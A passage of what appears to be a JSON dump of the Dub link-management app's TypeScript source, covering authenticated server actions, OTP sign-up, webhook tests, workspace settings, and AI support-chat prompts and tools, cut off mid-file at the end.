    "content": "import { prisma } from \"@dub/prisma\";\nimport { createSafeActionClient } from \"next-safe-action\";\nimport { after } from \"next/server\";\nimport { normalizeWorkspaceId } from \"../api/workspaces/workspace-id\";\nimport { getSession } from \"../auth\";\nimport { logger } from \"../axiom/server\";\nimport { PlanProps } from \"../types\";\n\nexport const actionClient = createSafeActionClient({\n  handleServerError: async (e) => {\n    console.error(\"Server action error:\", e);\n\n    // Send error to Axiom\n    logger.error(e.message, e);\n    after(logger.flush());\n\n    if (e instanceof Error) {\n      return e.message;\n    }\n\n    return \"An unknown error occurred.\";\n  },\n});\n\nexport const authUserActionClient = actionClient.use(async ({ next }) => {\n  const session = await getSession();\n\n  if (!session?.user.id) {\n    throw new Error(\"Unauthorized: Login required.\");\n  }\n\n  return next({\n    ctx: {\n      user: session.user,\n    },\n  });\n});\n\n// Workspace users\nexport const authActionClient = actionClient.use(\n  async ({ next, clientInput }) => {\n    const session = await getSession();\n\n    if (!session?.user.id) {\n      throw new Error(\"Unauthorized: Login required.\");\n    }\n\n    // @ts-ignore\n    let workspaceId = clientInput?.workspaceId;\n\n    if (!workspaceId) {\n      throw new Error(\"WorkspaceId is required.\");\n    }\n\n    workspaceId = normalizeWorkspaceId(workspaceId);\n\n    const workspace = await prisma.project.findUnique({\n      where: {\n        id: workspaceId,\n      },\n      include: {\n        users: {\n          where: {\n            userId: session.user.id,\n          },\n          select: {\n            role: true,\n            workspacePreferences: true,\n          },\n        },\n      },\n    });\n\n    if (!workspace || !workspace.users || workspace.users.length === 0) {\n      throw new Error(\"Workspace not found.\");\n    }\n\n    return next({\n      ctx: {\n        user: session.user,\n        workspace: {\n          ...workspace,\n          role: workspace.users[0].role,\n          plan: workspace.plan as PlanProps,\n        },\n      },\n    });\n  },\n);\n\n// Partner users\nexport const authPartnerActionClient = actionClient.use(async ({ next }) => {\n  const session = await getSession();\n\n  if (!session?.user.id) {\n    throw new Error(\"Unauthorized: Login required.\");\n  }\n\n  const partner = await prisma.partner.findFirst({\n    where: {\n      ...(session.user.defaultPartnerId && {\n        id: session.user.defaultPartnerId,\n      }),\n      users: {\n        some: { userId: session.user.id },\n      },\n    },\n    include: {\n      users: {\n        where: {\n          userId: session.user.id,\n        },\n        select: {\n          role: true,\n          userId: true,\n        },\n      },\n    },\n  });\n\n  if (!partner) {\n    throw new Error(\"Partner not found.\");\n  }\n\n  return next({\n    ctx: {\n      user: session.user,\n      partner,\n      partnerUser: partner.users[0],\n    },\n  });\n});\n"
  },
  {
    "path": "apps/web/lib/actions/send-invite-referral-email.ts",
    "content": "\"use server\";\n\nimport { sendEmail } from \"@dub/email\";\nimport ReferralInvite from \"@dub/email/templates/referral-invite\";\nimport * as z from \"zod/v4\";\nimport { ratelimit } from \"../upstash\";\nimport { emailSchema } from \"../zod/schemas/auth\";\nimport { authActionClient } from \"./safe-action\";\n\n// send invite referral email for Dub Referrals (soon to be deprecated?)\nexport const sendInviteReferralEmail = authActionClient\n  .inputSchema(\n    z.object({\n      workspaceId: z.string(),\n      email: emailSchema,\n    }),\n  )\n  .action(async ({ ctx, parsedInput }) => {\n    const { workspace } = ctx;\n    const { email } = parsedInput;\n\n    // Allow 5 emails / workspace / minute\n    const { success: successWorkspace } = await ratelimit(5, \"1 m\").limit(\n      `invite-referral-email:${workspace.id}`,\n    );\n\n    // Allow 2 emails to a specific address / 2 hours (not one / hour to allow one quick retry)\n    const { success: successEmail } = await ratelimit(2, \"2 h\").limit(\n      `invite-referral-email:${email}`,\n    );\n\n    if (!successWorkspace || !successEmail)\n      throw new Error(\"Failed to send: rate limit exceeded\");\n\n    try {\n      return await sendEmail({\n        subject: `You've been invited to start using ${process.env.NEXT_PUBLIC_APP_NAME}`,\n        to: email,\n        react: ReferralInvite({\n          email,\n          url: `https://refer.dub.co/${workspace.slug}`,\n          workspaceUser: ctx.user.name || null,\n          workspaceUserEmail: ctx.user.email || null,\n        }),\n      });\n    } catch (e) {\n      console.error(\"Failed to send invitation email\", e);\n    }\n\n    throw new Error(\"Failed to send invitation email\");\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/send-otp.ts",
    "content": "\"use server\";\n\nimport { getIP } from \"@/lib/api/utils/get-ip\";\nimport { ratelimit, redis } from \"@/lib/upstash\";\nimport { sendEmail } from \"@dub/email\";\nimport VerifyEmail from \"@dub/email/templates/verify-email\";\nimport { prisma } from \"@dub/prisma\";\nimport { get } from \"@vercel/edge-config\";\nimport { flattenValidationErrors } from \"next-safe-action\";\nimport * as z from \"zod/v4\";\nimport { generateOTP } from \"../auth\";\nimport { EMAIL_OTP_EXPIRY_IN } from \"../auth/constants\";\nimport { isGenericEmail } from \"../is-generic-email\";\nimport { emailSchema, passwordSchema } from \"../zod/schemas/auth\";\nimport { throwIfAuthenticated } from \"./auth/throw-if-authenticated\";\nimport { actionClient } from \"./safe-action\";\n\nconst schema = z.object({\n  email: emailSchema,\n  password: passwordSchema.optional(),\n});\n\n// Send OTP to email to verify account\nexport const sendOtpAction = actionClient\n  .inputSchema(schema, {\n    handleValidationErrorsShape: async (ve) =>\n      flattenValidationErrors(ve).fieldErrors,\n  })\n  .use(throwIfAuthenticated)\n  .action(async ({ parsedInput }) => {\n    const { email } = parsedInput;\n\n    const { success } = await ratelimit(2, \"1 m\").limit(\n      `send-otp:${email}:${await getIP()}`,\n    );\n\n    if (!success) {\n      throw new Error(\"Too many requests. Please try again later.\");\n    }\n\n    if (email.includes(\"+\") && isGenericEmail(email)) {\n      throw new Error(\n        \"Email addresses with + are not allowed. Please use your work email instead.\",\n      );\n    }\n\n    const domain = email.split(\"@\")[1];\n\n    if (process.env.NEXT_PUBLIC_IS_DUB) {\n      const [isDisposable, emailDomainTerms] = await Promise.all([\n        redis.sismember(\"disposableEmailDomains\", domain),\n        process.env.EDGE_CONFIG ? get(\"emailDomainTerms\") : [],\n      ]);\n\n      // Only build the regex if we have at least one term; otherwise set to null\n      const blacklistedEmailDomainTermsRegex =\n        emailDomainTerms && Array.isArray(emailDomainTerms)\n          ? new RegExp(\n              emailDomainTerms\n                .map((term: string) =>\n                  term.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$&\"),\n                ) // replace special characters with escape sequences\n                .join(\"|\"),\n            )\n          : null;\n\n      if (\n        isDisposable ||\n        (blacklistedEmailDomainTermsRegex &&\n          blacklistedEmailDomainTermsRegex.test(domain))\n      ) {\n        // edge case: the user already has a partner account on Dub with this email address,\n        // or they have an existing application for a program, we can allow them to continue\n        const [isPartnerAccount, hasExistingApplications] = await Promise.all([\n          prisma.partner.findUnique({\n            where: {\n              email,\n            },\n          }),\n          prisma.programApplication.findFirst({\n            where: {\n              email,\n            },\n          }),\n        ]);\n        if (!isPartnerAccount && !hasExistingApplications) {\n          throw new Error(\n            \"Invalid email address – please use your work email instead. If you think this is a mistake, please contact us at dub.co/support\",\n          );\n        }\n      }\n    }\n\n    const isExistingUser = await prisma.user.findUnique({\n      where: {\n        email,\n      },\n    });\n\n    if (isExistingUser) {\n      throw new Error(\n        \"User already exists. Please login instead of requesting a new OTP.\",\n      );\n    }\n\n    const code = generateOTP();\n\n    await prisma.emailVerificationToken.deleteMany({\n      where: {\n        identifier: email,\n      },\n    });\n\n    await Promise.all([\n      prisma.emailVerificationToken.create({\n        data: {\n          identifier: email,\n          token: code,\n          expires: new Date(Date.now() + EMAIL_OTP_EXPIRY_IN * 1000),\n        },\n      }),\n\n      sendEmail({\n        subject: `${process.env.NEXT_PUBLIC_APP_NAME}: OTP to verify your account`,\n        to: email,\n        react: VerifyEmail({\n          email,\n          code,\n        }),\n      }),\n    ]);\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/send-test-webhook.ts",
    "content": "\"use server\";\n\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\nimport { WEBHOOK_TRIGGERS } from \"../webhook/constants\";\nimport { sendWebhooks } from \"../webhook/qstash\";\nimport { samplePayload } from \"../webhook/sample-events/payload\";\nimport { authActionClient } from \"./safe-action\";\nimport { throwIfNoPermission } from \"./throw-if-no-permission\";\n\nconst schema = z.object({\n  workspaceId: z.string(),\n  webhookId: z.string(),\n  trigger: z.enum(WEBHOOK_TRIGGERS),\n});\n\n// Test send webhook event\nexport const sendTestWebhookEvent = authActionClient\n  .inputSchema(schema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { workspace } = ctx;\n    const { webhookId, trigger } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredPermissions: [\"webhooks.write\"],\n    });\n\n    const webhook = await prisma.webhook.findUniqueOrThrow({\n      where: {\n        id: webhookId,\n        projectId: workspace.id,\n      },\n      select: {\n        id: true,\n        url: true,\n        secret: true,\n      },\n    });\n\n    await sendWebhooks({\n      webhooks: [webhook],\n      trigger,\n      data: samplePayload[trigger],\n    });\n\n    return { ok: true };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/set-onboarding-progress.ts",
    "content": "\"use server\";\n\nimport * as z from \"zod/v4\";\nimport { onboardingStepCache } from \"../api/workspaces/onboarding-step-cache\";\nimport { ONBOARDING_STEPS } from \"../onboarding/types\";\nimport { authUserActionClient } from \"./safe-action\";\n\n// Generate a new client secret for an integration\nexport const setOnboardingProgress = authUserActionClient\n  .inputSchema(\n    z.object({\n      onboardingStep: z.enum(ONBOARDING_STEPS).nullable(),\n    }),\n  )\n  .action(async ({ ctx, parsedInput }) => {\n    const { onboardingStep } = parsedInput;\n\n    try {\n      if (onboardingStep) {\n        await onboardingStepCache.set({\n          userId: ctx.user.id,\n          step: onboardingStep,\n        });\n      }\n    } catch (e) {\n      console.error(\"Failed to update onboarding step\", e);\n      throw new Error(\"Failed to update onboarding step\");\n    }\n\n    return { success: true };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/submit-oauth-app-for-review.ts",
    "content": "\"use server\";\n\nimport { prisma } from \"@dub/prisma\";\nimport { ComponentDividerSpacingSize } from \"@team-plain/typescript-sdk\";\nimport * as z from \"zod/v4\";\nimport { createPlainThread } from \"../plain/create-plain-thread\";\nimport { ratelimit } from \"../upstash\";\nimport { authActionClient } from \"./safe-action\";\nimport { throwIfNoPermission } from \"./throw-if-no-permission\";\n\nconst schema = z.object({\n  message: z.string().max(1000),\n  workspaceId: z.string(),\n  integrationId: z.string(),\n});\n\n// Submit an OAuth app for review\nexport const submitOAuthAppForReview = authActionClient\n  .inputSchema(schema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { user, workspace } = ctx;\n    const { message, integrationId } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredPermissions: [\"oauth_apps.write\"],\n    });\n\n    const integration = await prisma.integration.findFirstOrThrow({\n      where: {\n        id: integrationId,\n        projectId: workspace.id,\n      },\n    });\n\n    const { success } = await ratelimit(1, \"1 m\").limit(\n      `submit-oauth-app-for-review:${integrationId}`,\n    );\n\n    if (!success) {\n      throw new Error(\n        \"Rate limit exceeded. Please try again later or contact support.\",\n      );\n    }\n\n    await createPlainThread({\n      user,\n      title: `Integration Submission: ${integration.name}`,\n      components: [\n        {\n          componentText: {\n            text: message,\n          },\n        },\n        {\n          componentDivider: {\n            dividerSpacingSize: ComponentDividerSpacingSize.L,\n          },\n        },\n        {\n          componentRow: {\n            rowMainContent: [\n              {\n                componentText: {\n                  text: \"Integration Slug\",\n                },\n              },\n            ],\n            rowAsideContent: [\n              {\n                componentText: {\n                  text: integration.slug,\n                },\n              },\n            ],\n          },\n        },\n        {\n          componentRow: {\n            rowMainContent: [\n              {\n                componentText: {\n                  text: \"Workspace Slug\",\n                },\n              },\n            ],\n            rowAsideContent: [\n              {\n                componentText: {\n                  text: workspace.slug,\n                },\n              },\n            ],\n          },\n        },\n      ],\n    });\n\n    return { ok: true };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/throw-if-no-permission.ts",
    "content": "import { WorkspaceRole } from \"@dub/prisma/client\";\nimport {\n  getPermissionsByRole,\n  PermissionAction,\n} from \"../api/rbac/permissions\";\n\n/**\n * Server action variant: Throws an error if the user's role doesn't have the required role(s) or permission(s)\n * @param role - The workspace role of the user\n * @param requiredRoles - Array of required roles (optional)\n * @param requiredPermissions - Array of required permissions (optional)\n */\nexport function throwIfNoPermission({\n  role,\n  requiredRoles,\n  requiredPermissions,\n}: {\n  role: WorkspaceRole;\n  requiredRoles?: WorkspaceRole[];\n  requiredPermissions?: PermissionAction[];\n}) {\n  if (\n    requiredRoles &&\n    requiredRoles.length > 0 &&\n    !requiredRoles.includes(role)\n  ) {\n    throw new Error(\n      `You don't have the required role to access this endpoint. Required role(s): ${requiredRoles.join(\", \")}.`,\n    );\n  }\n\n  if (requiredPermissions && requiredPermissions.length > 0) {\n    const permissions = getPermissionsByRole(role);\n    const missingPermissions = requiredPermissions.filter(\n      (p) => !permissions.includes(p),\n    );\n\n    if (missingPermissions.length === 0) {\n      return;\n    }\n\n    throw new Error(\n      `You don't have the necessary permissions to complete this request. Required permission(s): ${missingPermissions.join(\", \")}.`,\n    );\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/actions/update-workspace-notification-preference.ts",
    "content": "\"use server\";\n\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\nimport { notificationTypes } from \"../zod/schemas/workspaces\";\nimport { authActionClient } from \"./safe-action\";\n\nconst schema = z.object({\n  workspaceId: z.string(),\n  type: notificationTypes,\n  value: z.boolean(),\n});\n\n// Update the notification preference for a user in a workspace\nexport const updateWorkspaceNotificationPreference = authActionClient\n  .inputSchema(schema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { user, workspace } = ctx;\n    const { type, value } = parsedInput;\n\n    await prisma.projectUsers.update({\n      where: {\n        userId_projectId: {\n          userId: user.id,\n          projectId: workspace.id,\n        },\n      },\n      data: {\n        notificationPreference: {\n          update: {\n            [type]: value,\n          },\n        },\n      },\n    });\n\n    return { ok: true };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/update-workspace-preferences.ts",
    "content": "\"use server\";\n\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\nimport { workspacePreferencesValueSchemas } from \"../zod/schemas/workspace-preferences\";\nimport { authActionClient } from \"./safe-action\";\n\nconst schema = z.object({\n  workspaceId: z.string(),\n  key: z.string(),\n  value: z.any(),\n});\n\n// Update a user's preferences for a workspace\nexport const updateWorkspacePreferences = authActionClient\n  .inputSchema(schema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { workspace } = ctx;\n    const { key, value } = parsedInput;\n\n    const valueSchema = workspacePreferencesValueSchemas[key];\n\n    if (!valueSchema)\n      throw new Error(`Invalid workspace preference key: ${key}`);\n\n    const parsedValue = valueSchema.parse(value);\n\n    const workspacePreferences =\n      (workspace.users[0].workspacePreferences as\n        | Record<string, any>\n        | undefined\n        | null) ?? {};\n\n    await prisma.projectUsers.update({\n      where: {\n        userId_projectId: {\n          userId: ctx.user.id,\n          projectId: workspace.id,\n        },\n      },\n      data: {\n        workspacePreferences: {\n          ...workspacePreferences,\n          [key]: parsedValue,\n        },\n      },\n    });\n\n    return { ok: true };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/update-workspace-store.ts",
    "content": "\"use server\";\n\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\nimport { workspaceStoreKeys } from \"../zod/schemas/workspaces\";\nimport { authActionClient } from \"./safe-action\";\nimport { throwIfNoPermission } from \"./throw-if-no-permission\";\n\nconst updateWorkspaceStoreSchema = z.object({\n  workspaceId: z.string(),\n  key: workspaceStoreKeys,\n  value: z.any().refine((val) => {\n    const valueStr = JSON.stringify(val);\n    const sizeInBytes = new TextEncoder().encode(valueStr).length;\n    return sizeInBytes <= 1_097_152; // 1 MB in bytes\n  }, \"Value size must not exceed 1 MB\"),\n});\n\n// Update a workspace store item\nexport const updateWorkspaceStore = authActionClient\n  .inputSchema(updateWorkspaceStoreSchema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { workspace } = ctx;\n    const { key, value } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredPermissions: [\"workspaces.write\"],\n    });\n\n    const store = workspace.store;\n\n    await prisma.project.update({\n      where: {\n        id: workspace.id,\n      },\n      data: {\n        store: {\n          ...(store as Record<string, any>),\n          [key]: value,\n        },\n      },\n    });\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/verify-workspace-setup.ts",
    "content": "\"use server\";\n\nimport { prisma } from \"@dub/prisma\";\nimport FirecrawlApp from \"@mendable/firecrawl-js\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"./safe-action\";\nimport { throwIfNoPermission } from \"./throw-if-no-permission\";\n\nconst getExpectedScriptForWorkspace = (store: Record<string, any>) => {\n  const {\n    analyticsSettingsConversionTrackingEnabled: conversionTrackingEnabled,\n    analyticsSettingsSiteVisitTrackingEnabled: siteVisitEnabled,\n    analyticsSettingsOutboundDomainTrackingEnabled: outboundDomainsEnabled,\n  } = store;\n\n  const components = [\n    \"script\",\n    siteVisitEnabled ? \"site-visit\" : null,\n    outboundDomainsEnabled ? \"outbound-domains\" : null,\n    conversionTrackingEnabled ? \"conversion-tracking\" : null,\n  ].filter(Boolean);\n\n  return `${components.join(\".\")}.js`;\n};\n\nconst schema = z.object({\n  workspaceId: z.string(),\n});\n\n// Attempt to verify the workspace setup\nexport const verifyWorkspaceSetup = authActionClient\n  .inputSchema(schema)\n  .action(async ({ ctx }) => {\n    const { workspace } = ctx;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredPermissions: [\"workspaces.read\"],\n    });\n\n    const domains = await prisma.domain.findMany({\n      where: { projectId: workspace.id },\n      select: { slug: true },\n    });\n\n    const domain = domains[0];\n\n    if (!domain) {\n      throw new Error(`Please setup a domain`);\n    }\n\n    // const siteUrl = domain.slug;\n    const siteUrl = \"https://dub.co/home\";\n\n    const hostnames = (workspace.allowedHostnames as string[]) || [];\n\n    if (!hostnames.length) {\n      throw new Error(`Add a hostname for your domain`);\n    }\n\n    const firecrawl = new FirecrawlApp({\n      apiKey: process.env.FIRECRAWL_API_KEY,\n    });\n\n    const scrapeResult = await firecrawl.scrapeUrl(siteUrl, {\n      formats: [\"rawHtml\"],\n      onlyMainContent: false,\n      parsePDF: false,\n      includeTags: [\"head\"],\n      maxAge: 14400000,\n      waitFor: 5000,\n    });\n\n    if (!scrapeResult.success) {\n      throw new Error(\"Failed to verify site\");\n    }\n\n    //console.log(\"RAW HTML: \", scrapeResult.rawHtml);\n\n    console.log(`result: `, {\n      hasDataAttribute: scrapeResult.rawHtml?.includes(\n        `data-sdkn=\"@dub/analytics\"`,\n      ),\n      hasExpectedScript: scrapeResult.rawHtml?.includes(\n        getExpectedScriptForWorkspace(workspace.store as Record<string, any>),\n      ),\n    });\n\n    return {\n      verifiedAt: new Date().toISOString(),\n      // analyticsScriptSrc: scriptTag,\n    };\n  });\n"
  },
  {
    "path": "apps/web/lib/ai/build-system-prompt.ts",
    "content": "import { SupportChatContext } from \"@/ui/support/types\";\nimport { Program, Project } from \"@dub/prisma/client\";\n\nexport type GlobalChatContext = {\n  chatLocation?: SupportChatContext;\n  accountType?: \"workspace\" | \"partner\";\n  selectedWorkspace?: Pick<Project, \"id\" | \"name\" | \"slug\">;\n  selectedProgram?: Pick<Program, \"id\" | \"name\" | \"slug\">;\n};\n\nconst CONTEXT_SYSTEM_PROMPTS: Record<SupportChatContext, string> = {\n  app: `You are a helpful Dub support assistant helping users manage their Dub workspaces and links.\n  Focus on: link shortening, custom domains, analytics, click tracking, API usage, workspace management, billing, and integrations.\n  When the user asks about their specific workspace data — such as their plan, usage, links count, billing cycle, or payment status — call getWorkspaceDetails with the workspace's ID before answering. Use this real data in your response instead of guessing or citing generic documentation.\n  When a user has a billing issue, account access problem, or a bug that can't be resolved through documentation, first call requestSupportTicket (to show them an upload form), then after the user confirms, call createSupportTicket.`,\n\n  partners: `You are a helpful Dub Partners support assistant helping affiliate partners with their programs.\n  Focus on: payouts, referral tracking, commission structure, partner links, bank account setup, payout countries, program enrollment, and affiliate performance.\n  When the user asks about their specific program data — such as earnings, commissions, payouts, minimum payout amount, holding period, or payout history — call getProgramPerformance with the program's ID before answering. Use this real data in your response instead of guessing or citing generic documentation.\n  When a user has a payout dispute, tax compliance issue, or a problem that can't be resolved through documentation, first call requestSupportTicket (to show them an upload form), then after the user confirms, call createSupportTicket.\n  Always try to provide the program's support email for program-specific issues.`,\n};\n\nconst BASE_SYSTEM_PROMPT = `\n  You are powered by Dub's documentation and help articles.\n  ALWAYS call the findRelevantDocs tool before answering any question — no exceptions. Do not answer from memory.\n  Ground every answer in the content retrieved by findRelevantDocs.\n  Respond in concise, clear markdown. Strictly avoid using headings (h1, h2, h3, h4, h5, h6) in your responses.\n  If you find a relevant article, include a link to it in your response.\n  If findRelevantDocs returns no useful results, acknowledge it and offer to create a support ticket.\n  Never make up information — if unsure, say so and offer to escalate.\n  To create a support ticket: ALWAYS call requestSupportTicket first (never createSupportTicket directly). After the user submits the upload form and confirms, call createSupportTicket.\n  `.trim();\n\nfunction buildAccountSpecificPrompt(context: GlobalChatContext): string[] {\n  if (!context.accountType) return [];\n\n  const prompts = [\n    `The user is asking about their ${context.accountType} account.`,\n  ];\n\n  if (context.accountType === \"workspace\" && context.selectedWorkspace) {\n    prompts.push(\n      `They are specifically asking about workspace: ${JSON.stringify(context.selectedWorkspace)}`,\n    );\n  } else if (context.accountType === \"partner\" && context.selectedProgram) {\n    prompts.push(\n      `They are specifically asking about program: ${JSON.stringify(context.selectedProgram)}`,\n    );\n  }\n\n  return prompts;\n}\n\nexport function buildSystemPrompt(globalContext?: GlobalChatContext): string {\n  const accountSpecificPrompts = buildAccountSpecificPrompt(\n    globalContext || {},\n  );\n\n  const systemPrompt = [\n    globalContext?.chatLocation\n      ? CONTEXT_SYSTEM_PROMPTS[globalContext?.chatLocation]\n      : \"\",\n    BASE_SYSTEM_PROMPT,\n    ...accountSpecificPrompts,\n  ].join(\"\\n\\n\");\n\n  return systemPrompt;\n}\n"
  },
  {
    "path": "apps/web/lib/ai/create-support-ticket.ts",
    "content": "import { createPlainThread } from \"@/lib/plain/create-plain-thread\";\nimport { prisma } from \"@dub/prisma\";\nimport { currencyFormatter } from \"@dub/utils\";\nimport { ComponentDividerSpacingSize } from \"@team-plain/typescript-sdk\";\nimport { tool } from \"ai\";\nimport { z } from \"zod\";\nimport { Session } from \"../auth/utils\";\nimport { GlobalChatContext } from \"./build-system-prompt\";\n\nexport type CreateSupportTicketOptions = {\n  session: Session;\n  messages: Array<{\n    role: string;\n    parts: Array<{ type: string; text?: string }>;\n  }>;\n  globalContext: GlobalChatContext;\n  attachmentIds?: string[];\n  ticketDetails?: string;\n};\n\nexport function createSupportTicketTool(options: CreateSupportTicketOptions) {\n  const { globalContext, session, messages, attachmentIds, ticketDetails } =\n    options;\n\n  return tool({\n    description:\n      \"Creates a support ticket in Plain when the AI cannot resolve the user's issue. Use this when the user explicitly asks to speak with a human, when the issue involves billing disputes, account access problems, or confirmed bugs.\",\n    inputSchema: z.object({}),\n    execute: async () => {\n      const { accountType, selectedWorkspace, selectedProgram, chatLocation } =\n        globalContext;\n\n      const chatHistory = messages\n        .map((msg) => {\n          const text = msg.parts\n            .filter((p) => p.type === \"text\")\n            .map((p) => (p as { type: \"text\"; text: string }).text)\n            .join(\"\");\n          return `${msg.role === \"user\" ? \"User\" : \"Dub Support\"}: ${text}`;\n        })\n        .join(\"\\n\\n\");\n\n      const { priority, additionalMetadata } = await getPriorityAndMetadata(\n        accountType,\n        selectedWorkspace,\n        selectedProgram,\n        session.user.id,\n      );\n\n      const details = ticketDetails?.trim();\n\n      const components: Array<Record<string, unknown>> = [\n        ...(details\n          ? [\n              {\n                componentText: {\n                  text: `User description: ${details}`,\n                },\n              },\n              {\n                componentDivider: {\n                  dividerSpacingSize: ComponentDividerSpacingSize.M,\n                },\n              },\n            ]\n          : []),\n        {\n          componentText: {\n            text: chatHistory.slice(0, 5000),\n          },\n        },\n      ];\n\n      if (Object.keys(additionalMetadata).length > 0) {\n        components.push(\n          {\n            componentDivider: {\n              dividerSpacingSize: ComponentDividerSpacingSize.L,\n            },\n          },\n          // chat location\n          {\n            componentRow: {\n              rowMainContent: [{ componentText: { text: \"Chat Location\" } }],\n              rowAsideContent: [{ componentText: { text: chatLocation } }],\n            },\n          },\n          ...Object.entries(additionalMetadata).map(([key, value]) => ({\n            componentRow: {\n              rowMainContent: [{ componentText: { text: key } }],\n              rowAsideContent: [{ componentText: { text: value } }],\n            },\n          })),\n        );\n      }\n\n      try {\n        await createPlainThread({\n          user: {\n            id: session.user.id,\n            name: session.user.name ?? \"\",\n            email: session.user.email,\n          },\n          priority,\n          components,\n          ...(attachmentIds?.length ? { attachmentIds } : {}),\n        });\n\n        return {\n          success: true,\n          message:\n            \"Support ticket created successfully. Our team will reach out to you shortly.\",\n        };\n      } catch (err) {\n        console.error(\"Failed to create support ticket:\", err);\n        return {\n          success: false,\n          message:\n            \"Failed to create support ticket. Please try again or email support@dub.co.\",\n        };\n      }\n    },\n  });\n}\n\nasync function getPriorityAndMetadata(\n  accountType: \"workspace\" | \"partner\" | undefined,\n  selectedWorkspace: GlobalChatContext[\"selectedWorkspace\"],\n  selectedProgram: GlobalChatContext[\"selectedProgram\"],\n  userId: string,\n): Promise<{\n  priority: number;\n  additionalMetadata: Record<string, string>;\n}> {\n  let priority = 3;\n  const additionalMetadata: Record<string, string> = {};\n\n  if (accountType === \"workspace\" && selectedWorkspace?.slug) {\n    const workspace = await prisma.project.findUnique({\n      where: {\n        slug: selectedWorkspace.slug,\n        users: {\n          some: { userId },\n        },\n      },\n    });\n    if (workspace) {\n      switch (workspace.plan) {\n        case \"enterprise\":\n        case \"advanced\":\n          priority = 0;\n          break;\n        case \"business\":\n          priority = 1;\n          break;\n        case \"pro\":\n          priority = 2;\n          break;\n      }\n      Object.assign(additionalMetadata, {\n        \"Workspace Name\": workspace.name,\n        \"Workspace Slug\": workspace.slug,\n        \"Workspace Plan\": workspace.plan,\n      });\n    }\n  } else if (accountType === \"partner\" && selectedProgram?.slug) {\n    try {\n      const [enrollmentResult, payoutsSum] = await Promise.all([\n        prisma.programEnrollment.findFirst({\n          where: {\n            partner: {\n              users: { some: { userId } },\n            },\n            program: { slug: selectedProgram.slug },\n          },\n          include: {\n            program: {\n              include: {\n                groups: { where: { slug: \"default\" } },\n              },\n            },\n            partnerGroup: true,\n          },\n        }),\n        prisma.payout.aggregate({\n          where: {\n            partner: {\n              users: { some: { userId } },\n            },\n            status: {\n              in: [\"processing\", \"processed\", \"sent\", \"completed\"],\n            },\n          },\n          _sum: { amount: true },\n        }),\n      ]);\n\n      const partnerLifetimePayouts = payoutsSum._sum?.amount ?? 0;\n\n      if (partnerLifetimePayouts > 10_000_00) {\n        priority = 0;\n      } else if (partnerLifetimePayouts > 1_000_00) {\n        priority = 1;\n      } else if (partnerLifetimePayouts > 100_00) {\n        priority = 2;\n      }\n\n      if (enrollmentResult) {\n        const { program, partnerGroup } = enrollmentResult;\n        const holdingPeriodDays =\n          partnerGroup?.holdingPeriodDays ??\n          program.groups[0]?.holdingPeriodDays ??\n          0;\n        Object.assign(additionalMetadata, {\n          \"Program Name\": program.name,\n          \"Program Slug\": program.slug,\n          ...(program.supportEmail\n            ? { \"Program Support Email\": program.supportEmail }\n            : {}),\n          \"Program Holding Period Days\": holdingPeriodDays.toString(),\n          \"Program Min Payout Amount\": program.minPayoutAmount.toString(),\n          \"Partner Lifetime Payouts\": currencyFormatter(partnerLifetimePayouts),\n        });\n      }\n    } catch {\n      // leave priority at 3 and additionalMetadata empty\n    }\n  }\n\n  return { priority, additionalMetadata };\n}\n"
  },
  {
    "path": "apps/web/lib/ai/find-relevant-docs.ts",
    "content": "import { tool } from \"ai\";\nimport { z } from \"zod\";\nimport { vectorIndex } from \"../upstash/vector\";\n\nexport const findRelevantDocsTool = tool({\n  description: \"Finds the most relevant docs / help article for a given query.\",\n  inputSchema: z.object({\n    query: z.string().describe(\"The query to search for.\"),\n    accountType: z\n      .enum([\"workspace\", \"partner\"])\n      .describe(\"The type of account the user is asking about.\"),\n  }),\n  execute: async ({ query }) => {\n    const result = await vectorIndex.query({\n      data: query,\n      topK: 4,\n      includeMetadata: true,\n    });\n\n    // Return array of metadata for each chunk\n    // e.g. [{ id, score, metadata: { resourceId, content }}, ... ]\n    return result.map(({ id, score, metadata }) => ({\n      id,\n      score,\n      metadata,\n    }));\n  },\n});\n"
  },
  {
    "path": "apps/web/lib/ai/generate-csv-mapping.ts",
    "content": "\"use server\";\n\nimport { anthropic } from \"@ai-sdk/anthropic\";\nimport { createStreamableValue } from \"@ai-sdk/rsc\";\nimport { streamObject } from \"ai\";\nimport * as z from \"zod/v4\";\n\nexport async function generateCsvMapping(\n  fieldColumns: string[],\n  firstRows: Record<string, string>[],\n) {\n  const stream = createStreamableValue();\n\n  (async () => {\n    const { partialObjectStream } = streamObject({\n      model: anthropic(\"claude-sonnet-4-20250514\"),\n      schema: z.object({\n        link: z\n          .string()\n          .optional()\n          .describe(\"The shortlink (link), including the domain and path.\"),\n        url: z.string().optional().describe(\"The full URL of the shortlink\"),\n        title: z.string().optional().describe(\"The title of the shortlink\"),\n        description: z\n          .string()\n          .optional()\n          .describe(\"The description of the shortlink\"),\n        tags: z\n          .string()\n          .optional()\n          .describe(\n            \"A comma-separated list of tags for shortlink organization (NOT to be mapped to a description).\",\n          ),\n        createdAt: z\n          .string()\n          .optional()\n          .describe(\"The date and time the shortlink was created (createdAt)\"),\n      }),\n      prompt:\n        `The following columns are the headings from a CSV import file for importing a company's short links. ` +\n        `Map these column names to the correct fields in our database (link, url, title, description, tags, createdAt) by 